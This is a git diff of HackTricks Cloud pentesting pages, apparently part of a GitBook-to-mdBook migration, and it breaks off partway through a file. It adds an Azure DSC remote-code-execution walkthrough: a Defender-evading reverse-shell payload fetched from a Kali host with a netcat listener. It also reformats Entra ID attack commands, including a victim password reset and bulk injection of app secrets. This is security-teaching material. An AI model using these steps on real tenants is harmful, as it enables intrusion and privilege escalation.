index 000000000..d63ab573e
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md
@@ -0,0 +1,65 @@
+# Az - State Configuration RCE
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
+
+### Summary of Remote Server (C2) Infrastructure Preparation and Steps
+
+#### Overview
+
+The process involves setting up a remote server infrastructure to host a modified Nishang `Invoke-PowerShellTcp.ps1` payload, named `RevPS.ps1`, designed to bypass Windows Defender. The payload is served from a Kali Linux machine with IP `40.84.7.74` using a simple Python HTTP server. The operation is executed through several steps:
+
+#### Step 1 — Create Files
+
+- **Files Required:** Two PowerShell scripts are needed:
+  1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) file that fetches and executes the payload. It is obtainable from [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
+  2. `push_reverse_shell_config.ps1`: A script to publish the configuration to the VM, available at [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
+- **Customization:** Variables and parameters in these files must be tailored to the user's specific environment, including resource names, file paths, and server/payload identifiers.
+
+#### Step 2 — Zip Configuration File
+
+- The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready for transfer to the Azure Storage Account.
+
+```powershell
+Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
+```
+
+#### Step 3 — Set Storage Context & Upload
+
+- The zipped configuration file is uploaded to a predefined Azure Storage container, azure-pentest, using Azure's Set-AzStorageBlobContent cmdlet.
+
+```powershell
+Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
+```
+
+#### Step 4 — Prep Kali Box
+
+- The Kali server downloads the RevPS.ps1 payload from a GitHub repository.
+
+```bash
+wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
+```
+
+- The script is edited to specify the target Windows VM and port for the reverse shell.
+
+#### Step 5 — Publish Configuration File
+
+- The configuration file is executed, resulting in the reverse-shell script being deployed to the specified location on the Windows VM.
+
+#### Step 6 — Host Payload and Setup Listener
+
+- A Python SimpleHTTPServer is started to host the payload, along with a Netcat listener to capture incoming connections.
+
+```bash
+sudo python -m SimpleHTTPServer 80
+sudo nc -nlvp 443
+```
+
+- The scheduled task executes the payload, achieving SYSTEM-level privileges.
+
+#### Conclusion
+
+The successful execution of this process opens numerous possibilities for further actions, such as credential dumping or expanding the attack to multiple VMs. The guide encourages continued learning and creativity in the realm of Azure Automation DSC.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
similarity index 79%
rename from pentesting-cloud/azure-security/az-services/az-azuread.md
rename to src/pentesting-cloud/azure-security/az-services/az-azuread.md
index 5d2552550..3a5f6aeaf 100644
--- a/pentesting-cloud/azure-security/az-services/az-azuread.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
@@ -1,19 +1,6 @@
 # Az - Entra ID (AzureAD) & Azure IAM
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -25,8 +12,9 @@ Key features of Azure AD involve **multi-factor authentication** and **condition
 
 ### **Connection**
 
-{% tabs %}
-{% tab title="az cli" %}
+{{#tabs }}
+{{#tab name="az cli" }}
+
 ```bash
 az login #This will open the browser (if not use --use-device-code)
 az login -u <username> -p <password> #Specify user and password
@@ -55,9 +43,11 @@ az find "vm" # Find vm commands
 az vm -h # Get subdomains
 az ad user list --query-examples # Get examples
 ```
-{% endtab %}
 
-{% tab title="Mg" %}
+{{#endtab }}
+
+{{#tab name="Mg" }}
+
 ```powershell
 # Login Open browser
 Connect-MgGraph
@@ -82,9 +72,11 @@ Connect-MgGraph -AccessToken $secureToken
 # Find commands
 Find-MgGraphCommand -command *Mg*
 ```
-{% endtab %}
 
-{% tab title="Az PowerShell" %}
+{{#endtab }}
+
+{{#tab name="Az PowerShell" }}
+
 ```powershell
 Connect-AzAccount #Open browser
 # Using credentials
@@ -114,10 +106,11 @@ Get-Command *azad*
 #Cmdlets for other Azure resources have the format *Az*
 Get-Command *az*
 ```
-{% endtab %}
 
-{% tab title="Raw PS" %}
-{% code overflow="wrap" %}
+{{#endtab }}
+
+{{#tab name="Raw PS" }}
+
 ```powershell
 #Using management
 $Token = 'eyJ0eXAi..'
@@ -135,11 +128,11 @@ $RequestParams = @{
 # Using graph
 Invoke-WebRequest -Uri "https://graph.windows.net/myorganization/users?api-version=1.6" -Headers @{Authorization="Bearer {0}" -f $Token}
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="curl" %}
-{% code overflow="wrap" %}
+{{#endtab }}
+
+{{#tab name="curl" }}
+
 ```bash
 # Request tokens to access endpoints
 # ARM
@@ -148,11 +141,11 @@ curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-
 # Vault
 curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="Azure AD" %}
-{% code overflow="wrap" %}
+{{#endtab }}
+
+{{#tab name="Azure AD" }}
+
 ```powershell
 Connect-AzureAD #Open browser
 # Using credentials
@@ -164,9 +157,9 @@ Connect-AzureAD -Credential $creds
 ## AzureAD cannot request tokens, but can use AADGraph and MSGraph tokens to connect
 Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 When you **login** via **CLI** into Azure with any program, you are using an **Azure Application** from a **tenant** that belongs to **Microsoft**. These Applications, like the ones you can create in your account, **have a client id**. You **won't be able to see all of them** in the **allowed applications lists** you can see in the console, **but they are allowed by default**.
 
@@ -201,25 +194,28 @@ $token = Invoke-Authorize -Credential $credential `
 
 ### Tenants
 
-{% tabs %}
-{% tab title="az cli" %}
+{{#tabs }}
+{{#tab name="az cli" }}
+
 ```bash
 # List tenants
 az account tenant list
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### Users
 
 For more information about Entra ID users check:
 
-{% content-ref url="../az-basic-information/" %}
-[az-basic-information](../az-basic-information/)
-{% endcontent-ref %}
+{{#ref}}
+../az-basic-information/
+{{#endref}}
+
+{{#tabs }}
+{{#tab name="az cli" }}
 
-{% tabs %}
-{% tab title="az cli" %}
 ```bash
 # Enumerate users
 az ad user list --output table
@@ -260,9 +256,11 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin
 -H "Authorization: Bearer $TOKEN" \
 -H "Content-Type: application/json" | jq
 ```
-{% endtab %}
 
-{% tab title="Azure AD" %}
+{{#endtab }}
+
+{{#tab name="Azure AD" }}
+
 ```powershell
 # Enumerate Users
 Get-AzureADUser -All $true
@@ -298,9 +296,11 @@ Get-AzureADUser -ObjectId roygcain@defcorphq.onmicrosoft.com | Get-AzureADUserAp
 $userObj = Get-AzureADUser -Filter "UserPrincipalName eq 'bill@example.com'"
 Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where { $_.Id -eq $userObj.ObjectId } }
 ```
-{% endtab %}
 
-{% tab title="Az PowerShell" %}
+{{#endtab }}
+
+{{#tab name="Az PowerShell" }}
+
 ```powershell
 # Enumerate users
 Get-AzADUser
@@ -312,37 +312,37 @@ Get-AzADUser | ?{$_.Displayname -match "admin"}
 # Get roles assigned to a user
 Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 #### Change User Password
 
-{% code overflow="wrap" %}
 ```powershell
 $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
 
 (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
 ```
-{% endcode %}
 
 ### MFA & Conditional Access Policies
 
 It's highly recommended to add MFA to every user, however, some companies won't set it or might set it with a Conditional Access: The user will be **required MFA if** it logs in from an specific location, browser or **some condition**. These policies, if not configured correctly might be prone to **bypasses**. Check:
 
-{% content-ref url="../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md" %}
-[az-conditional-access-policies-mfa-bypass.md](../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
+{{#endref}}
 
 ### Groups
 
 For more information about Entra ID groups check:
 
-{% content-ref url="../az-basic-information/" %}
-[az-basic-information](../az-basic-information/)
-{% endcontent-ref %}
+{{#ref}}
+../az-basic-information/
+{{#endref}}
+
+{{#tabs }}
+{{#tab name="az cli" }}
 
-{% tabs %}
-{% tab title="az cli" %}
 ```powershell
 # Enumerate groups
 az ad group list
@@ -369,9 +369,11 @@ az role assignment list --include-groups --include-classic-administrators true -
 
 # To get Entra ID roles assigned check how it's done with users and use a group ID
 ```
-{% endtab %}
 
-{% tab title="Azure AD" %}
+{{#endtab }}
+
+{{#tab name="Azure AD" }}
+
 ```powershell
 # Enumerate Groups
 Get-AzureADGroup -All $true
@@ -382,7 +384,7 @@ Get-AzureADGroup -SearchString "admin" | fl #Groups starting by "admin"
 Get-AzureADGroup -All $true |?{$_.Displayname -match "admin"} #Groups with the word "admin"
 # Get groups allowing dynamic membership
 Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}
-# All groups that are from Azure AD 
+# All groups that are from Azure AD
 Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
 # All groups that are synced from on-prem (note that security groups are not synced)
 Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
@@ -397,9 +399,11 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
 # Get Apps where a group has a role (role not shown)
 Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
 ```
-{% endtab %}
 
-{% tab title="Az PowerShell" %}
+{{#endtab }}
+
+{{#tab name="Az PowerShell" }}
+
 ```powershell
 # Get all groups
 Get-AzADGroup
@@ -413,38 +417,37 @@ Get-AzADGroupMember -GroupDisplayName <resource_group_name>
 # Get roles of group
 Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 #### Add user to group
 
 Owners of the group can add new users to the group
 
-{% code overflow="wrap" %}
 ```powershell
 Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
 ```
-{% endcode %}
 
-{% hint style="warning" %}
-Groups can be dynamic, which basically means that **if a user fulfil certain conditions it will be added to a group**. Of course, if the conditions are based in **attributes** a **user** can **control**, he could abuse this feature to **get inside other groups**.\
-Check how to abuse dynamic groups in the following page:
-{% endhint %}
+> [!WARNING]
+> Groups can be dynamic, which basically means that **if a user fulfil certain conditions it will be added to a group**. Of course, if the conditions are based in **attributes** a **user** can **control**, he could abuse this feature to **get inside other groups**.\
+> Check how to abuse dynamic groups in the following page:
 
-{% content-ref url="../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md" %}
-[dynamic-groups.md](../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
+{{#endref}}
 
 ### Service Principals
 
 For more information about Entra ID service principals check:
 
-{% content-ref url="../az-basic-information/" %}
-[az-basic-information](../az-basic-information/)
-{% endcontent-ref %}
+{{#ref}}
+../az-basic-information/
+{{#endref}}
+
+{{#tabs }}
+{{#tab name="az cli" }}
 
-{% tabs %}
-{% tab title="az cli" %}
 ```bash
 # Get Service Principals
 az ad sp list --all
@@ -461,9 +464,11 @@ az ad sp list --show-mine
 # Get SPs with generated secret or certificate
 az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
 ```
-{% endtab %}
 
-{% tab title="Azure AD" %}
+{{#endtab }}
+
+{{#tab name="Azure AD" }}
+
 ```powershell
 # Get Service Principals
 Get-AzureADServicePrincipal -All $true
@@ -482,9 +487,11 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalCreatedO
 Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership
 Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembership |fl *
 ```
-{% endtab %}
 
-{% tab title="Az PowerShell" %}
+{{#endtab }}
+
+{{#tab name="Az PowerShell" }}
+
 ```powershell
 # Get SPs
 Get-AzADServicePrincipal
@@ -495,9 +502,11 @@ Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"}
 # Get roles of a SP
 Get-AzRoleAssignment -ServicePrincipalName <String>
 ```
-{% endtab %}
 
-{% tab title="Raw" %}
+{{#endtab }}
+
+{{#tab name="Raw" }}
+
 ```powershell
 $Token = 'eyJ0eX..'
 $URI = 'https://graph.microsoft.com/v1.0/applications'
@@ -510,12 +519,12 @@ $RequestParams = @{
 }
 (Invoke-RestMethod @RequestParams).value
 ```
-{% endtab %}
-{% endtabs %}
 
-{% hint style="warning" %}
-The Owner of a Service Principal can change its password.
-{% endhint %}
+{{#endtab }}
+{{#endtabs }}
+
+> [!WARNING]
+> The Owner of a Service Principal can change its password.
 
 <details>
 
@@ -530,7 +539,7 @@ Function Add-AzADAppSecret
         Add client secret to the applications.
 
     .PARAMETER GraphToken
-        Pass the Graph API Token 
+        Pass the Graph API Token
 
     .EXAMPLE
         PS C:\> Add-AzADAppSecret -GraphToken 'eyJ0eX..'
@@ -562,7 +571,7 @@ Function Add-AzADAppSecret
     }
 
     try
-    { 
+    {
         $AppList = Invoke-RestMethod @Params -UseBasicParsing
     }
     catch
@@ -594,7 +603,7 @@ Function Add-AzADAppSecret
                 "displayName" = "Password"
               }
             }
- 
+
             try
             {
                 $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json)
@@ -607,13 +616,13 @@ Function Add-AzADAppSecret
             }
             catch
             {
-                Write-Output "Failed to add new client secret to '$($App.displayName)' Application." 
+                Write-Output "Failed to add new client secret to '$($App.displayName)' Application."
             }
         }
         if($Details -ne $null)
         {
             Write-Output ""
-            Write-Output "Client secret added to : " 
+            Write-Output "Client secret added to : "
             Write-Output $Details | fl *
         }
     }
@@ -630,17 +639,18 @@ Function Add-AzADAppSecret
 
 For more information about Applications check:
 
-{% content-ref url="../az-basic-information/" %}
-[az-basic-information](../az-basic-information/)
-{% endcontent-ref %}
+{{#ref}}
+../az-basic-information/
+{{#endref}}
 
 When an App is generated 2 types of permissions are given:
 
-* **Permissions** given to the **Service Principal**
-* **Permissions** the **app** can have and use on **behalf of the user**.
+- **Permissions** given to the **Service Principal**
+- **Permissions** the **app** can have and use on **behalf of the user**.
+
+{{#tabs }}
+{{#tab name="az cli" }}
 
-{% tabs %}
-{% tab title="az cli" %}
 ```bash
 # List Apps
 az ad app list
@@ -656,9 +666,11 @@ az ad app list --show-mine
 # Get apps with generated secret or certificate
 az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
 ```
-{% endtab %}
 
-{% tab title="Azure AD" %}
+{{#endtab }}
+
+{{#tab name="Azure AD" }}
+
 ```powershell
 # List all registered applications
 Get-AzureADApplication -All $true
@@ -669,9 +681,11 @@ Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredentia
 # Get owner of an application
 Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
 ```
-{% endtab %}
 
-{% tab title="Az PowerShell" %}
+{{#endtab }}
+
+{{#tab name="Az PowerShell" }}
+
 ```powershell
 # Get Apps
 Get-AzADApplication
@@ -682,21 +696,20 @@ Get-AzADApplication | ?{$_.DisplayName -match "app"}
 # Get Apps with password
 Get-AzADAppCredential
 ```
-{% endtab %}
-{% endtabs %}
 
-{% hint style="warning" %}
-An app with the permission **`AppRoleAssignment.ReadWrite`** can **escalate to Global Admin** by grating itself the role.\
-For more information [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
-{% endhint %}
+{{#endtab }}
+{{#endtabs }}
 
-{% hint style="info" %}
-A secret string that the application uses to prove its identity when requesting a token is the application password.\
-So, if find this **password** you can access as the **service principal** **inside** the **tenant**.\
-Note that this password is only visible when generated (you could change it but you cannot get it again).\
-The **owner** of the **application** can **add a password** to it (so he can impersonate it).\
-Logins as these service principals are **not marked as risky** and they **won't have MFA.**
-{% endhint %}
+> [!WARNING]
+> An app with the permission **`AppRoleAssignment.ReadWrite`** can **escalate to Global Admin** by grating itself the role.\
+> For more information [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
+
+> [!NOTE]
+> A secret string that the application uses to prove its identity when requesting a token is the application password.\
+> So, if find this **password** you can access as the **service principal** **inside** the **tenant**.\
+> Note that this password is only visible when generated (you could change it but you cannot get it again).\
+> The **owner** of the **application** can **add a password** to it (so he can impersonate it).\
+> Logins as these service principals are **not marked as risky** and they **won't have MFA.**
 
 It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
 
@@ -704,31 +717,33 @@ It's possible to find a list of commonly used App IDs that belongs to Microsoft
 
 For more information about Managed Identities check:
 
-{% content-ref url="../az-basic-information/" %}
-[az-basic-information](../az-basic-information/)
-{% endcontent-ref %}
+{{#ref}}
+../az-basic-information/
+{{#endref}}
+
+{{#tabs }}
+{{#tab name="az cli" }}
 
-{% tabs %}
-{% tab title="az cli" %}
 ```bash
 # List all manged identities
 az identity list --output table
 # With the principal ID you can continue the enumeration in service principals
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### Azure Roles
 
 For more information about Azure roles check:
 
-{% content-ref url="../az-basic-information/" %}
-[az-basic-information](../az-basic-information/)
-{% endcontent-ref %}
+{{#ref}}
+../az-basic-information/
+{{#endref}}
+
+{{#tabs }}
+{{#tab name="az cli" }}
 
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
 ```bash
 # Get roles
 az role definition list
@@ -750,10 +765,11 @@ az role assignment list --assignee "<email>" --all --output table
 # Get all the roles assigned to a user by filtering
 az role assignment list --all --query "[?principalName=='carlos@carloshacktricks.onmicrosoft.com']" --output table
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="Az PowerShell" %}
+{{#endtab }}
+
+{{#tab name="Az PowerShell" }}
+
 ```powershell
 # Get role assignments on the subscription
 Get-AzRoleDefinition
@@ -763,9 +779,11 @@ Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
 Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
 Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res_group_name>/providers/Microsoft.Compute/virtualMachines/<vm_name>
 ```
-{% endtab %}
 
-{% tab title="Raw" %}
+{{#endtab }}
+
+{{#tab name="Raw" }}
+
 ```powershell
 # Get permissions over a resource using ARM directly
 $Token = (Get-AzAccessToken).Token
@@ -777,22 +795,23 @@ $RequestParams = @{
  'Authorization' = "Bearer $Token"
  }
 }
-(Invoke-RestMethod @RequestParams).value 
+(Invoke-RestMethod @RequestParams).value
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### Entra ID Roles
 
 For more information about Azure roles check:
 
-{% content-ref url="../az-basic-information/" %}
-[az-basic-information](../az-basic-information/)
-{% endcontent-ref %}
+{{#ref}}
+../az-basic-information/
+{{#endref}}
+
+{{#tabs }}
+{{#tab name="az cli" }}
 
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
 ```bash
 # List template Entra ID roles
 az rest --method GET \
@@ -836,10 +855,11 @@ az rest --method GET \
   --query "value[]" \
   --output json
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="Azure AD" %}
+{{#endtab }}
+
+{{#tab name="Azure AD" }}
+
 ```powershell
 # Get all available role templates
 Get-AzureADDirectoryroleTemplate
@@ -854,19 +874,23 @@ Get-AzureADDirectoryRole -ObjectId <id> | fl
 # Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
 Get-AzureADMSScopedRoleMembership -Id <id> | fl *
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### Devices
 
-{% tabs %}
-{% tab title="az cli" %}
+{{#tabs }}
+{{#tab name="az cli" }}
+
 ```bash
 # If you know how to do this send a PR!
 ```
-{% endtab %}
 
-{% tab title="Azure AD" %}
+{{#endtab }}
+
+{{#tab name="Azure AD" }}
+
 ```powershell
 # Enumerate Devices
 Get-AzureADDevice -All $true | fl *
@@ -885,24 +909,25 @@ Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
 # Get Administrative Units of a device
 Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }
 ```
-{% endtab %}
-{% endtabs %}
 
-{% hint style="warning" %}
-If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\
-Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**.
-{% endhint %}
+{{#endtab }}
+{{#endtabs }}
+
+> [!WARNING]
+> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\
+> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**.
 
 ### Administrative Units
 
 For more information about administrative units check:
 
-{% content-ref url="../az-basic-information/" %}
-[az-basic-information](../az-basic-information/)
-{% endcontent-ref %}
+{{#ref}}
+../az-basic-information/
+{{#endref}}
+
+{{#tabs }}
+{{#tab name="az cli" }}
 
-{% tabs %}
-{% tab title="az cli" %}
 ```bash
 # List all administrative units
 az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
@@ -913,9 +938,11 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr
 # Get principals with roles over the AU
 az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
 ```
-{% endtab %}
 
-{% tab title="AzureAD" %}
+{{#endtab }}
+
+{{#tab name="AzureAD" }}
+
 ```powershell
 # Get Administrative Units
 Get-AzureADMSAdministrativeUnit
@@ -927,20 +954,21 @@ Get-AzureADMSAdministrativeUnitMember -Id <id>
 # Get the roles users have over the members of the AU
 Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ## Entra ID Privilege Escalation
 
-{% content-ref url="../az-privilege-escalation/az-entraid-privesc/" %}
-[az-entraid-privesc](../az-privilege-escalation/az-entraid-privesc/)
-{% endcontent-ref %}
+{{#ref}}
+../az-privilege-escalation/az-entraid-privesc/
+{{#endref}}
 
 ## Azure Privilege Escalation
 
-{% content-ref url="../az-privilege-escalation/az-authorization-privesc.md" %}
-[az-authorization-privesc.md](../az-privilege-escalation/az-authorization-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-privilege-escalation/az-authorization-privesc.md
+{{#endref}}
 
 ## Defensive Mechanisms
 
@@ -953,26 +981,26 @@ Note that the user will also be able to ask to **extend** the time.
 
 Moreover, **PIM send emails** whenever a privileged role is being assigned to someone.
 
-<figure><img src="../../../.gitbook/assets/image (354).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
 
 When PIM is enabled it's possible to configure each role with certain requirements like:
 
-* Maximum duration (hours) of activation
-* Require MFA on activation
-* Require Conditional Access acuthenticaiton context
-* Require justification on activation
-* Require ticket information on activation
-* Require approval to activate
-* Max time to expire the elegible assignments&#x20;
-* A lot more configuration on when and who to send notifications when certain actions happen with that role
+- Maximum duration (hours) of activation
+- Require MFA on activation
+- Require Conditional Access acuthenticaiton context
+- Require justification on activation
+- Require ticket information on activation
+- Require approval to activate
+- Max time to expire the elegible assignments&#x20;
+- A lot more configuration on when and who to send notifications when certain actions happen with that role
 
 ### Conditional Access Policies <a href="#title-text" id="title-text"></a>
 
 Check:
 
-{% content-ref url="../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md" %}
-[az-conditional-access-policies-mfa-bypass.md](../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
+{{#endref}}
 
 ### Entra Identity Protection <a href="#title-text" id="title-text"></a>
 
@@ -980,24 +1008,24 @@ Entra Identity Protection is a security service that allows to **detect when a u
 
 It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**:
 
-<figure><img src="../../../.gitbook/assets/image (356).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
 
-{% hint style="success" %}
-Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options.
-{% endhint %}
+> [!TIP]
+> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options.
 
 ### Entra Password Protection
 
-Entra Password Protection ([https://portal.azure.com/#view/Microsoft\_AAD\_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\
+Entra Password Protection ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\
 It also allows to **ban a custom password list** that you need to provide.
 
 It can be **applied both** at the cloud level and on-premises Active Directory.
 
 The default mode is **Audit**:
 
-<figure><img src="../../../.gitbook/assets/image (355).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
 
 ## References
 
-* [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
+- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
 
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-services/az-file-shares.md b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md
similarity index 58%
rename from pentesting-cloud/azure-security/az-services/az-file-shares.md
rename to src/pentesting-cloud/azure-security/az-services/az-file-shares.md
index 5ca733e45..3d6fb67b6 100644
--- a/pentesting-cloud/azure-security/az-services/az-file-shares.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md
@@ -1,19 +1,6 @@
 # Az - File Shares
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
